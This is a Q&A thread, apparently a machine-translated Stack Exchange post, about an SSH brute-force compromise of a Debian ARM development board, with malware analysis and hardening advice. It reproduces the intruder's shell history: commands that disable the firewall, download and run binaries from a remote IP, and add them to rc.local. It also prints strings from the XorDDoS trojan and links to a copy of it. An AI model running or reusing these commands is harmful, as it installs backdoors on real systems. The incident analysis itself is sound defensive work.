Wurde ich gerade gehackt?

51127
vaid

Ich entwickle ein Verbraucherprodukt, und es soll mit dem Internet verbunden sein. Es ist also wie erwartet mit dem Internet verbunden, damit ich es richtig entwickeln kann.

Ich ging für ein oder zwei Stunden weg und als ich in mein Büro zurückkam, bemerkte ich einige seltsame Befehle im Terminal.

Beim Betrachten der Linux-Protokolldatei mit dem Namen " auth.logIch" sehe ich die folgenden Zeilen (unter vielen weiteren):

Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2 Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

Die IP-Adresse 40.127.205.162ist Eigentum von Microsoft .

Hier sind eine Reihe von Befehlen, die während meiner Abwesenheit verwendet wurden:

 355 service iptables stop 356 cd /tmp 357 wget http://222.186.30.209:65534/yjz1 358 chmod 0755 /tmp/yjz1 359 nohup /tmp/yjz1 > /dev/null 2>&1 & 360 chmod 777 yjz1 361 ./yjz1 362 chmod 0755 /tmp/yjz1 363 nohup /tmp/yjz1 > /dev/null 2>&1 & 364 chmod 0777 yjz1 365 chmod u+x yjz1 366 ./yjz1 & 367 chmod u+x yjz1 368 ./yjz1 & 369 wget http://222.186.30.209:65534/yjz 370 chmod 0755 /tmp/yjz 371 nohup /tmp/yjz > /dev/null 2>&1 & 372 chmod 777 yjz 373 ./yjz 374 chmod 0755 /tmp/yjz 375 nohup /tmp/yjz > /dev/null 2>&1 & 376 chmod u+x yjz 377 ./yjz & 378 chmod u+x yjz 379 ./yjz & 380 cd /tmp 381 echo "cd /tmp/">>/etc/rc.local 382 service iptables stop 383 cd /tmp 384 wget http://222.186.30.209:65534/yjz1 385 chmod 0755 /tmp/yjz1 386 nohup /tmp/yjz1 > /dev/null 2>&1 & 387 chmod 777 yjz1 388 ./yjz1 389 chmod 0755 /tmp/yjz1 390 nohup /tmp/yjz1 > /dev/null 2>&1 & 391 chmod u+x yjz1 392 ./yjz1 & 393 chmod 0777 yjz1 394 ./yjz1 & 395 echo "cd /tmp/">>/etc/rc.local 396 service iptables stop 397 wget http://222.186.30.209:65534/yjz1 398 chmod 0755 /root/yjz1 399 nohup /root/yjz1 > /dev/null 2>&1 & 400 chmod 777 yjz1 401 ./yjz1 402 chmod 0755 /root/yjz1 403 nohup /root/yjz1 > /dev/null 2>&1 & 404 chmod u+x yjz1 405 ./yjz1 & 406 chmod 0777 yjz1 407 ./yjz1 & 408 echo "cd /root/">>/etc/rc.local 409 cd /tmp 410 service iptables stop 411 wget http://222.186.30.209:65534/yjz1 412 chmod 0755 /tmp/yjz1 413 nohup /tmp/yjz1 > /dev/null 2>&1 & 414 chmod 777 yjz1 415 ./yjz1 & 416 cd /etc 417 echo "cd /root/">>/etc/rc.local 418 echo "./yjz1&">>/etc/rc.local 419 echo "./yjz1&">>/etc/rc.local 420 echo "/etc/init.d/iptables stop">>/etc/rc.local 421 cd /tmp 422 service iptables stop 423 wget http://222.186.30.209:65534/yjz1 424 chmod 0755 /tmp/yjz1 425 nohup /tmp/yjz1 > /dev/null 2>&1 & 426 chmod 777 yjz1 427 ./yjz1 & 428 cd /etc 429 echo "cd /root/">>/etc/rc.local 430 echo "./yjz1&">>/etc/rc.local 431 echo "./yjz1&">>/etc/rc.local 432 echo "/etc/init.d/iptables stop">>/etc/rc.local 433 cd /tmp 434 service iptables stop 435 wget http://222.186.30.209:65534/yjz1 436 chmod 0755 /tmp/yjz1 437 nohup /tmp/yjz1 > /dev/null 2>&1 & 438 chmod 777 yjz1 439 ./yjz1 & 440 cd /etc 441 echo "cd /root/">>/etc/rc.local 442 echo "./yjz1&">>/etc/rc.local 443 echo "./yjz1&">>/etc/rc.local 444 echo "/etc/init.d/iptables stop">>/etc/rc.local 445 service iptables stop 446 wget http://222.186.30.209:65534/yjz1 447 chmod 0755 /root/yjz1 448 nohup /root/yjz1 > /dev/null 2>&1 & 449 chmod 777 yjz1 450 ./yjz1 451 chmod 0755 /root/yjz1 452 nohup /root/yjz1 > /dev/null 2>&1 & 453 chmod 0777 yjz1 454 chmod u+x yjz1 455 ./yjz1 & 456 chmod u+x yjz1 457 ./yjz1 &

Und mehr:

 481 service iptables stop 482 wget http://222.186.30.209:65534/yjz1 483 chmod 0755 /root/yjz1 484 nohup /root/yjz1 > /dev/null 2>&1 & 485 chmod 777 yjz1 486 ./yjz1 487 chmod 0755 /root/yjz1 488 nohup /root/yjz1 > /dev/null 2>&1 & 489 chmod 0777 yjz1 490 chmod u+x yjz1 491 ./yjz1 & 492 chmod u+x yjz1 493 ./yjz1 & 494 cd /tmp 495 service iptables stop 496 wget http://175.102.133.55:2/yjz 497 ./yd_cd/make 498 service iptables stop 499 service iptables stop 500 wget http://222.186.30.209:65534/yjz1

Ich wusste das überhaupt nicht. Wie kann ich mein Produkt richtig sichern?

Ich möchte die komplette auth.logDatei posten . Wie mache ich das?

Die yjz1heruntergeladene Datei scheint auch ein Linux-Trojaner zu sein, und all dies scheint von einer Art Hackergruppe gemäß http://anti-hacker-alliance.com/index.php?ip=40.127.205.162 ausgeführt zu werden

Soll ich Microsoft anrufen und mit ihnen sprechen? Was soll ich machen?

486
Ja, das sieht nicht gut aus. Ich bin keinesfalls ein Experte für Linux, aber es wurde definitiv versucht, etwas auszuführen. Ich bin mir nicht ganz sicher, wie es aussieht, als versuchte es sich als root anzumelden und ist fehlgeschlagen. Gibt es noch andere Protokolle in Ihrer auth.log? Irgendwelche anderen Mittel der Remote-Administration? Ich habe gesehen, dass Macs mit aktiviertem VNC-Server zuvor gehackt wurden, obwohl dies wie ein SSH-Versuch aussieht. Sieht aus, als würden die IPs, von denen er heruntergeladen hatte, irgendwo in China gehostet. Jonno vor 8 Jahren 40
Der Angriff kam eigentlich aus China. David Schwartz vor 8 Jahren 3
Ja, aber was versucht eine IP von Microsoft, ein Gerät über das Internet zu verletzen? vaid vor 8 Jahren 0
Du wurdest brutal gezwungen. Deshalb lässt man keinen SSH-Server im Internet, auch wenn Sie ein Passwort haben. Alles, was an Schlüssel-basierter Authentifizierung fehlt, ist heutzutage nicht sicher genug. Journeyman Geek vor 8 Jahren 68
Sie könnten Opfer eines sekundären Angriffs über ein verletztes Microsoft-System werden, je nachdem, wie schwerwiegend diese Hacker sind. Möglicherweise auch IP-Spoofing? Wie im vorherigen Kommentar erwähnt, ist jedoch nur die schlüsselbasierte Authentifizierung ratsam. Sam3000 vor 8 Jahren 2
Wo kann ich also mehr über Sicherheit lesen? vaid vor 8 Jahren 1
Nun, wir haben http://security.stackexchange.com/. Zunächst aber: Dem kompromittierten Host kann nicht mehr vertraut werden. Nimm es aus dem Netzwerk. Machen Sie nach Möglichkeit ein Backup, damit Sie herausfinden können, was gemacht wurde und wie es gemacht wurde. Installieren Sie anschließend das Betriebssystem von einer sauberen Quelle aus neu. Wiederherstellen von Daten aus Sicherungen. ** Sichern Sie das System **, damit Sie nicht erneut infiziert werden. Herauszufinden, wie sie hineingekommen sind, wird dringend empfohlen. (Daher die Empfehlung, eine Kopie des infizierten Systems zu erstellen). Hennes vor 8 Jahren 80
Berücksichtigen Sie angesichts des Brute-Force-Angriffs Kennwort-Logins. Wenn Sie diese aktiviert lassen, stellen Sie sicher, dass keine schwachen Passwörter vorhanden sind. (Wie bereits erwähnt, ist keybased besser. Wenn Sie und andere möglicherweise zu denen wechseln können: großartig. Wenn nicht, stellen Sie sicher, dass niemand das '1234' '- Passwort' 'admin' oder ähnliche schwache Passwörter verwendet. Hennes vor 8 Jahren 1
Ok, vielen Dank. Ich werde das machen. Sind einige von Ihnen gewillt, mit mir nachzuschauen? Vielleicht brauche ich jemanden, mit dem ich damit umgehen kann. Das System selbst ist im Grunde eine abgespeckte Debian-Version für ARMHF-CPUs. Nichts sehr komplex. vaid vor 8 Jahren 0
Ich empfehle, zusätzlich Portklopfen für alle Wartungs- / Entwicklungszugriffe einzurichten. Auf diese Weise scheinen alle Ihre regulären Ports geschlossen zu sein und die Leute verlieren schnell das Interesse an Ihrem Gerät. Bedeutet, dass weniger Bandbreite für Angriffe verschwendet wird. Zumindest wenn Ihr Service selbst einigermaßen sicher ist. Run CMD vor 8 Jahren 3
ossec-hids ist ein weiteres nützliches Werkzeug für die Sicherheitsüberwachung. Wayne Werner vor 8 Jahren 1
Sie sollten den root ssh login in der sshd-Konfigurationsdatei generell deaktivieren. Sie können sich immer bei Ihrem normalen Konto anmelden und su / sudo verwenden, um Superuser zu werden. Kevin Evans vor 8 Jahren 1
Zu Ihrer Information: 40.127.205.162 ist eine ** Microsoft Azure ** IP-Adresse gemäß GeoIP. Folglich können Sie Microsoft nicht für den Angriff verantwortlich machen - es ist gleichbedeutend mit Amazon, weil jemand EC2 für Spam verwendet hat. Das einzige, was Microsoft wirklich tun kann, ist, die Angreifer von Azure abzubringen, aber sie sind in kürzester Zeit wieder auf einer anderen Cloud-Plattform. nneonneo vor 8 Jahren 84
Ist es ein Himbeer-Pi? Ich vermute, da Sie die ARM-Version von Debian verwenden. In diesem Fall können Sie die SD-Karte löschen und neu beginnen. Vergewissern Sie sich, dass Sie den Standardbenutzernamen und das Kennwort ändern. Kryten vor 8 Jahren 0
@Vaid - keine Antwort auf Ihre Frage - aber es ist vage ein Thema - Ich empfehle Ihnen dringend, diese Sitzung ab Build 2015 jedem anzusehen, der konsumentenbasierte Produkte baut, die eine Verbindung zum Internet herstellen: https: //channel9.msdn. com / Events / Build / 2015 / 2-625 - Sie könnten es abschrecken, da es Azure im Titel hat, aber die behandelten Konzepte sind ziemlich hochrangig und lassen sich gut übersetzen. :-) BrainSlugs83 vor 8 Jahren 2
Es ist seltsam, dass der Hacker nicht versucht hat, seine Aktionen durch das Bearbeiten der Historie zu verbergen. user1751825 vor 8 Jahren 3
"Ich habe einige seltsame Befehle im Terminal bemerkt" - das ist seltsam, normalerweise erhält jede SSH-Verbindung ein eigenes Terminal. user20574 vor 8 Jahren 6
@ClassStacker Ich schaue, wie der Port klopft. vaid vor 8 Jahren 0
@KevinEvans Ich werde root ssh deaktivieren, da es in meiner Anwendung nicht wirklich benötigt wird vaid vor 8 Jahren 0
@nneonneo Das wusste ich nicht, aber ich habe mich trotzdem mit Microsoft in Verbindung gesetzt, um sie wissen zu lassen vaid vor 8 Jahren 0
@Kryten Nein, es ist ein Olimex A10 Lime 4GB mit NAND-Flash an Bord. vaid vor 8 Jahren 0
@ BrainSlugs83 das ist sehr relevant für mein aktuelles Projekt. Vielen Dank! vaid vor 8 Jahren 1
@ user1751825 ja ich denke auch so. Ich denke, er / sie ist dabei nie weit genug gekommen. vaid vor 8 Jahren 1
@ user20574 ja das ist wirklich seltsam. Zuerst dachte ich, mein Mac sei gehackt worden. Ich denke, ich konnte die Befehle sehen, weil wir beide als root angemeldet waren. vaid vor 8 Jahren 1
"_Ich habe einige seltsame Befehle im Terminal_ bemerkt": Waren diese im _Ihr_ Terminal oder aus der Bash-Historie sichtbar? Wie haben Sie das zum ersten Mal bemerkt? Ich sehe nicht, wie eine SSH-Sitzung auf Ihr Terminal schreiben könnte. isanae vor 8 Jahren 7
Wenn dies in Ihrem Terminal geschrieben wurde, sitzt der Hacker wahrscheinlich in der nächsten Zelle. isanae vor 8 Jahren 41
Bevor Sie etwas unternehmen, das Ihre Protokolle gefährden könnte, scannen Sie sie und senden Sie den Screenshot an die Cybercrime-Agentur Ihres Landes. Angenommen, Sie sind in den USA, diese Agentur ist das FBI. Sie können nicht nachforschen, aber Sie wissen nie. Wenn Sie später gehackt werden sollten und sie beide Vorfälle mit demselben Hacker oder derselben Gruppe verknüpfen können, könnte dies einen zusätzlichen Anreiz für die Strafverfolgung bieten. moonman239 vor 8 Jahren 1
@isanae Es ist einfach, auf einem Terminal zu schreiben. Es war nicht dieses Beispiel, aber genug "Echo Ohhhii" sudo schreiben Sie $ USER pts / 9`, um auf das Terminal 9 zu schreiben (`tty` kann Ihnen das aktuelle _tty_ geben, wenn Sie es versuchen möchten). Programme, die als root ausgeführt werden, benötigen _sudo_ nicht. Übrigens gibt es viele Protokolle, vor allem die Sicherheitsprotokolle, die auf alle Terminals geschrieben werden können, oder es könnte ein Skript sein, das nicht perfekt ausgeführt (oder ausgeführt) wird und einige Ausgaben auf ein festes TTY umleitet ... Hastur vor 8 Jahren 2
Lassen Sie Ihren PC vor allem bei einer offenen Root-Sitzung nicht unbeaufsichtigt laufen! MariusMatutiae vor 8 Jahren 7
Byt die Art und Weise, wie Sie Jungs über Schlüssel-basierte ssh auths sprechen, sind Woche? meinst du key in tastensensiert? oder privater / öffentlicher Schlüssel? Da mache ich den zweiten und frage mich jetzt, seit wann das als unsicher gilt ?! Zaibis vor 8 Jahren 0
Archivieren Sie alle Daten auf dem betroffenen Computer, löschen Sie ihn und erstellen Sie das System mit stärkeren Sicherheitsmaßnahmen neu. Überprüfen Sie die archivierten Daten und suchen Sie nach Informationen, die verwendet werden können, um Quelle und Art des Angriffs zu bestimmen. bwDraco vor 8 Jahren 1
@isanae Ich bemerkte die Befehle auf meinem SSH-Terminal auf dem Mac, der über SSH mit meinem Dev-Board verbunden war (das angegriffen wurde). Es war also mein Dev Board, das gehackt wurde, nicht mein Mac, jedoch waren sowohl ich als auch der Angreifer als root am Dev Board angemeldet. Egal wo oder wer Sie sind: Sobald Sie als Root angemeldet sind, können Sie den gesamten Root-Verlauf sehen. Recht? vaid vor 8 Jahren 0
@ moonman239 ich bin leider in Schweden und das FBI-Äquivalent heißt SÄPO. Ich weiß nicht, ob sie interessiert sind, wahrscheinlich wissen sie davon. Aber könnte ich falsch liegen? vaid vor 8 Jahren 0
@isanae gut, dann denke ich, dass meine Mutter der Hacker ist. Und die Kabine muss unser Wohnzimmer sein. Ich führe meine Firma von zu Hause aus und denke nicht, dass der Eindringling physisch Zugang zu meinem Computer hatte. vaid vor 8 Jahren 12
Sie können dieser Installation nicht mehr vertrauen. Es muss komplett neu installiert werden. Thorbjørn Ravn Andersen vor 8 Jahren 0
Es handelt sich lediglich um einen Proxyserver, der seinen Status an andere Proxies im Botnetz sendet. Flash Thunder vor 8 Jahren 0
Ihre Website ist * immer noch * Hosting der Malware unter "http: //222.186.30.209: 65534 / yjz". Ich bin nicht sicher, warum Sie sie noch nicht entfernt haben. Wenn Sie es nicht entfernen können, trennen Sie den Server vom Internet. NickG vor 8 Jahren 0
@NickG Äh, 222.186.30.209:65534 ist nicht seine Site. Dort hosten die Angreifer die Skripte, die er auf den Rechner des OP heruntergeladen hatte. Ajedi32 vor 8 Jahren 2
@ Ajedi32 - Entschuldigung, ich habe es falsch verstanden. NickG vor 8 Jahren 0
Vielen Dank für die faszinierende Lektüre. Ich habe festgestellt, dass die Nutzlasten nicht mehr zum Download zur Verfügung stehen. Wo kann ein armer Student mit minimalen Verbindungen (noch!) Sie zur Analyse finden? Tim G vor 8 Jahren 0
@ TimG Ich habe eine Kopie mit den Protokollen hier auf meinem Computer. Ich weiß nicht, wo ich sie hochladen und weitergeben kann. Wenn jemand Ideen hat, lass es mich wissen. vaid vor 8 Jahren 0
Dropbox, Google Drive, private E-Mail. Ich könnte Dropbox oder Google Drive sehen, die es töten, also könnte es passieren, wenn es tar -czf wäre. Sie können es auch auf Ihrer Box hosten, indem Sie ein lose mit einem Kennwort versehenes, nicht privilegiertes Konto einrichten, das ssh in einem chrooted-Ordner befindet. Leute könnten es dann von Ihnen scp. Tim G vor 8 Jahren 0
http://allanfeid.com/content/creating-chroot-jail-ssh-access Tim G vor 8 Jahren 0
@nneonneo: Auch die offizielle [Liste der Microsoft Azure Datacenter-IP-Bereiche] (https://www.microsoft.com/en-us/download/details.aspx?id=41653) zeigt den Bereich mit der Adresse 40.127.205.162: ** 40,127,192,0 / 18 **. pabouk vor 8 Jahren 1
@ TimG hier ist ein Link zur Binärdatei. es ist gezippt. https://drive.google.com/folderview?id=0BzXsxVbvw8tgRTdOczZVQjhoWmc&usp=sharing vaid vor 8 Jahren 1
es ist wie ein Creepypasta für Entwickler zu lesen, ich weiß, dass dies nicht auf eine Lösung bezogen ist, sondern meh _grabs popcorn_ Dheeraj vor 8 Jahren 0
Können Sie diesen Vorfall bitte unter http://cert.microsoft.com/report.aspx posten (Hinweis, dass ich nicht im CERT-Team arbeite). Shawn Cicoria - MSFT vor 8 Jahren 0
@ ShawnCicoria-MSFT habe ich schon. Ich lieferte sogar die Protokolle und den Trojaner, alle ordentlich gezippt und markiert. Ich habe keine Antwort erhalten. vaid vor 8 Jahren 0
Wenn Sie die Befehle auf Ihrem Bildschirm gesehen haben, hat der Hacker möglicherweise ein Remote-Desktop-Programm verwendet oder sie auf Ihrer Tastatur eingegeben. Frank R. vor 7 Jahren 0

9 Antworten auf die Frage

481
MariusMatutiae

EDIT 2:

there is one good reason why this post is attracting so much attention: you managed to record the whole, live session of an intruder on your PC. This is very different from our everyday experience, where we deal with the discovery of the consequences of his actions and try to redress them. Here we see him at work, see him having some problems with establishing the backdoor, retrace his steps, work feverishly (perhaps because he was sitting at your desk, as suggested above, or perhaps, and in my opinion more likely, because he was unable to make his malware run on the system, read below), and try to deploy fully self-contained instruments of control. This is what security researchers witness daily with their honey traps. For me, this is a very rare chance, and the source of some amusement.

You have definitely been hacked. The evidence for this does not come from the snippet of the auth.log file you displayed, because this reports an unsuccessful login attempt, occurring over a short time span (two secs). You will notice that the second line states Failed password, while the third one reports a pre-auth disconnect: the guy tried and failed.

The evidence comes instead from the content of the two files http://222.186.30.209:65534/yjz and http://222.186.30.209:65534/yjz1 which the attacker downloaded onto your system.

The site is currently open to anyone to download them, which I did. I first ran file on them, which showed:

$ file y* yjz: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped yjz1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Then I brought them onto a 64-bit Debian VM I have; an examination of their content thru the strings command revealed much that was suspicious (reference to various well-known attacks, to commands to be substituted for, a script that was clearly used to set up a new service, and so on).

I then produced the MD5-hashes of both files, and fed them to Cymru's hash database to see whether they are known agents of malware. While yjz is not, yjz1 is, and Cymru reports a probability of detection by anti-virus software of 58%. It also states that this file was last seen some three days ago, so it is reasonably recent.

Running clamscan (part of the clamav package) on the two files I obtained: 

$ clamscan y* yjz: Linux.Backdoor.Gates FOUND yjz1: Linux.Trojan.Xorddos FOUND

so we are now certain that standard Linux software can identify it.

What should you do?

Though rather new, neither system is very new, see this Jan. 2015 article on XorDdos, for instance. So most free packages should be able to remove it. You should try: clamav, rkhunter, chkrootkit. I have Googled around, and seen that they claim to be able to spot it. Use them to check on the predecessor's work, but after running these three programs you should be ready to go.

As for the larger question, what should you do to prevent future infections, Journeyman's answer is a good first step. Just keep in mind that it is an ongoing struggle, one that all of us (including me!) may very well have lost without even knowing it.

EDIT:

At Viktor Toth's (indirect) prompt, I would like to add a few comments. It is certainly true that the intruder encountered some difficulties: he downloads two distinct hacking tools, changes their permissions several times, restarts them several times, and tries many times to disable the firewall. It is easy to guess what is happening: he expects his hacking tools to open a communication channel toward one of his infected pcs (see later), and, when he does not see this new channel spring up on his control GUI, fears his hacking tool is being blocked by the firewall, so he repeats the installation procedure. I agree with Viktor Toth that this particular stage of his operation does not seem to bring the expected fruits, but I would like to encourage you very strongly not to underestimate the extent of the damage inflicted on your pc.

I provide here a partial output of strings yjz1: 

etc/init.d/%s /etc/rc%d.d/S90%s --del chkconfig remove update-rc.d /etc/cron.hourly/gcc4.sh /etc/rc.d/rc%d.d/S90%s --add defaults /proc/%d/exe /proc/self/exe HOME=/ MYSQL_HISTFILE=/dev/null #!/bin/sh # chkconfig: 12345 90 90 # description: %s ### BEGIN INIT INFO # Provides: %s # Required-Start: # Required-Stop: # Default-Start: 1 2 3 4 5 # Default-Stop: # Short-Description: %s ### END INIT INFO case $1 in start) stop) esac sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab etc/init.d/%s GET %s HTTP/1.1 %sHost: %s POST %s HTTP/1.1 %sHost: %s Content-Type: application/x-www-form-urlencoded Content-Length: %d %s%s Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322) Connection: Keep-Alive

This provides evidence of tampering with the services (in /etc/init.d and in /etc/rc.d), with crontab, with the history file of mysql, and a couple of files in proc which are links to bash (which suggests a custom-made fraudulent version of your shell has been planted). Then the program generates an HTTP request (to a Chinese-speaking site, 

 Accept-Language: zh-cn

which gives substance to David Schwartz's comment above), which may create even more havoc. In the request, binaries (Content-Type: application/x-www-form-urlencoded) are to be downloaded to the attacked pc (GET) and uploaded to the controlling machine (POST). I could not establish what would be downloaded to the attacked pc, but, given the small size of both yjz and yjz1 (1.1MB and 600kB, repectively), I can venture to surmise that most of the files needed to cloak the rootkit, i.e. the altered versions of ls, netstat, ps, ifconfig,..., would be downloaded this way. And this would explain the attacker's feverish attempts to get this download going.

There is no certainty that the above exhausts all possibilities: we certainly lack part of the transcript (between lines 457 and 481) and we do not see a logout; furthermore, especially worrisome are lines 495-497, 

cd /tmp; ./yd_cd/make

which refer to a file we did not see downloaded, and which might be a compilation: if so, it means the attacker has (finally?) understood what the problem with his executables was, and is trying to fix it, in which case the attacked pc has gone for good. [In fact, the two versions of the malware which the attacker downloaded onto the hacked machine (and I onto my 64bit Debian VM) are for an unsuitable architecture, x86, while the name alone of the hacked-into pc gives away the fact that he was dealing with an arm architecture].

The reason why I wrote this edit is to urge you as strongly as possible either to comb your system with a professional instrument, or to re-install from scratch.

And, by the way, should this prove useful to anyone, this is the list of of the 331 IP addresses to which yjz tries to connect. This list is so large (and probably destined to become larger still) that I believe this is the reason for tampering with mysql. The list provided by the other backdoor is identical, which, I presume, is the reason for leaving such an important piece of information out in the open (I think the attacker did not wish to make the effort to store them in kernel format, so he put the whole list in a clear-text file, which is probably read-in by all of his backdoors, for whichever OS): 

61.132.163.68 202.102.192.68 202.102.213.68 202.102.200.101 58.242.2.2 202.38.64.1 211.91.88.129 211.138.180.2 218.104.78.2 202.102.199.68 202.175.3.3 202.175.3.8 202.112.144.30 61.233.9.9 61.233.9.61 124.207.160.110 202.97.7.6 202.97.7.17 202.106.0.20 202.106.46.151 202.106.195.68 202.106.196.115 202.106.196.212 202.106.196.228 202.106.196.230 202.106.196.232 202.106.196.237 202.112.112.10 211.136.17.107 211.136.28.231 211.136.28.234 211.136.28.237 211.147.6.3 219.141.136.10 219.141.140.10 219.141.148.37 219.141.148.39 219.239.26.42 221.130.32.100 221.130.32.103 221.130.32.106 221.130.32.109 221.130.33.52 221.130.33.60 221.176.3.70 221.176.3.73 221.176.3.76 221.176.3.79 221.176.3.83 221.176.3.85 221.176.4.6 221.176.4.9 221.176.4.12 221.176.4.15 221.176.4.18 221.176.4.21 58.22.96.66 218.104.128.106 202.101.98.55 211.138.145.194 211.138.151.161 211.138.156.66 218.85.152.99 218.85.157.99 222.47.29.93 202.101.107.85 119.233.255.228 222.47.62.142 122.72.33.240 211.98.121.27 218.203.160.194 221.7.34.10 61.235.70.98 113.111.211.22 202.96.128.68 202.96.128.86 202.96.128.166 210.21.3.140 210.21.4.130 211.95.193.97 211.98.2.4 211.98.4.1 211.162.61.225 211.162.61.235 211.162.61.255 211.162.62.1 211.162.62.60 221.4.66.66 202.103.176.22 202.96.144.47 210.38.192.33 202.96.134.33 202.96.134.133 202.96.154.15 210.21.196.6 221.5.88.88 202.103.243.112 202.193.64.33 61.235.164.13 61.235.164.18 202.103.225.68 221.7.136.68 202.103.224.68 211.97.64.129 211.138.240.100 211.138.242.18 211.138.245.180 221.7.128.68 222.52.118.162 202.98.192.67 202.98.198.167 211.92.136.81 211.139.1.3 211.139.2.18 202.100.192.68 211.97.96.65 211.138.164.6 221.11.132.2 202.100.199.8 202.99.160.68 202.99.166.4 202.99.168.8 222.222.222.222 202.102.224.68 202.102.227.68 222.85.85.85 222.88.88.88 210.42.241.1 202.196.64.1 112.100.100.100 202.97.224.68 219.235.127.1 61.236.93.33 211.93.24.129 211.137.241.34 219.147.198.230 202.103.0.68 202.103.0.117 202.103.24.68 202.103.44.150 202.114.0.242 202.114.240.6 211.161.158.11 211.161.159.3 218.104.111.114 218.104.111.122 218.106.127.114 218.106.127.122 221.232.129.30 59.51.78.210 61.234.254.5 202.103.96.112 219.72.225.253 222.243.129.81 222.246.129.80 211.142.210.98 211.142.210.100 220.168.208.3 220.168.208.6 220.170.64.68 218.76.192.100 61.187.98.3 61.187.98.6 202.98.0.68 211.93.64.129 211.141.16.99 202.98.5.68 219.149.194.55 211.138.200.69 202.102.3.141 202.102.3.144 58.240.57.33 112.4.0.55 114.114.114.114 114.114.115.115 202.102.24.34 218.2.135.1 221.6.4.66 221.131.143.69 202.102.8.141 222.45.0.110 61.177.7.1 218.104.32.106 211.103.13.101 221.228.255.1 61.147.37.1 222.45.1.40 58.241.208.46 202.102.9.141 202.102.7.90 202.101.224.68 202.101.226.68 211.141.90.68 211.137.32.178 202.96.69.38 211.140.197.58 219.149.6.99 202.96.86.18 101.47.189.10 101.47.189.18 118.29.249.50 118.29.249.54 202.96.64.68 202.96.75.68 202.118.1.29 202.118.1.53 219.148.204.66 202.99.224.8 202.99.224.67 211.90.72.65 211.138.91.1 218.203.101.3 202.100.96.68 211.93.0.81 222.75.152.129 211.138.75.123 202.102.154.3 202.102.152.3 219.146.1.66 219.147.1.66 202.102.128.68 202.102.134.68 211.138.106.19 211.90.80.65 202.99.192.66 202.99.192.68 61.134.1.4 202.117.96.5 202.117.96.10 218.30.19.40 218.30.19.50 116.228.111.118 180.168.255.18 202.96.209.5 202.96.209.133 202.101.6.2 211.95.1.97 211.95.72.1 211.136.112.50 211.136.150.66 119.6.6.6 124.161.97.234 124.161.97.238 124.161.97.242 61.139.2.69 202.98.96.68 202.115.32.36 202.115.32.39 218.6.200.139 218.89.0.124 61.139.54.66 61.139.39.73 139.175.10.20 139.175.55.244 139.175.150.20 139.175.252.16 168.95.1.1 210.200.211.193 210.200.211.225 211.78.130.1 61.31.1.1 61.31.233.1 168.95.192.1 168.95.192.174 61.60.224.3 61.60.224.5 202.113.16.10 202.113.16.11 202.99.96.68 202.99.104.68 211.137.160.5 211.137.160.185 219.150.32.132 202.98.224.68 211.139.73.34 61.10.0.130 61.10.1.130 202.14.67.4 202.14.67.14 202.45.84.58 202.45.84.67 202.60.252.8 202.85.128.32 203.80.96.9 203.142.100.18 203.142.100.21 203.186.94.20 203.186.94.241 221.7.1.20 61.128.114.133 61.128.114.166 218.202.152.130 61.166.150.123 202.203.128.33 211.98.72.7 211.139.29.68 211.139.29.150 211.139.29.170 221.3.131.11 222.172.200.68 61.166.150.101 61.166.150.139 202.203.144.33 202.203.160.33 202.203.192.33 202.203.208.33 202.203.224.33 211.92.144.161 222.221.5.240 61.166.25.129 202.96.103.36 221.12.1.227 221.130.252.200 222.46.120.5 202.96.96.68 218.108.248.219 218.108.248.245 61.130.254.34 60.191.244.5 202.96.104.15 202.96.104.26 221.12.33.227 202.96.107.27 61.128.128.68 61.128.192.68 218.201.17.2 221.5.203.86 221.5.203.90 221.5.203.98 221.7.92.86 221.7.92.98

The following code

 #!/bin/bash echo 0 > out while read i; do whois $i | grep -m 1 -i country >> out done < filename cat out | grep -i cn | wc -l

on the above list shows that 302 out of a total 331 addresses are in mainland China, the remaining ones are in Hong Kong, Mongolia, Taiwan. This adds further support to David Schwartz's contention that this is mostly a Chinese bot ring.

EDIT 3

At @vaid's request (the author of the OP, read his comment below), I will add a comment about how to strengthen security of a basic Linux system (for a system providing many services, this is a far more complex topic). vaid states he did the following:

  1. Reinstall the system

  2. changed root password to a 16 character long password with mixed lower- and uppercase letters and characters and digits.

  3. Changed the username to a 6 mixed character long username and applied the same password as used for root

  4. changed SSH port to something above 5000

  5. turned off SSH root login.

This is fine (except I use a port above 10,000 since many useful programs use the ports below 10,000). But I cannot emphasize enough the need to use cryptographic keys for ssh login, instead of passwords. I will give you a personal example. On one of my VPSes, I was uncertain whether to change the ssh port; I left it at 22, but used crypto keys for authentication. I had hundreds of break-in attempts per day, none succeeded. When, tired to check daily that no one had succeeded, I eventually switched the port to something above 10,000, break-in attempts went to zero. Mind you, it is not that hackers are stupid (they are not!), they just hunt down easier prey.

It is easy to activate a crypto key with RSA as a signature algorithm, see comment below by Jan Hudec (thanks!): 

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Now all you have to do is to copy the file id_rsa to the machine from which you want to connect (in a directory .ssh, also chmod'ed to 700), then issue the command

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

When you are sure that this works, edit on the server (=the machine you want to connect to) the file /etc/ssh/sshd_config, and change the line 

#PasswordAuthentication yes

to 

PasswordAuthentication no

and restart the ssh service (service ssh restart or systemctl restart ssh, or something like this, depending on distro).

This will withstand a lot. In fact, there are currently no known exploits against the current versions of openssh v2, and of RSA as employed by openssh v2.

Lastly, in order to really bolt down your machine, you will need to configure the firewall (netfilter/iptables) as follows:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT

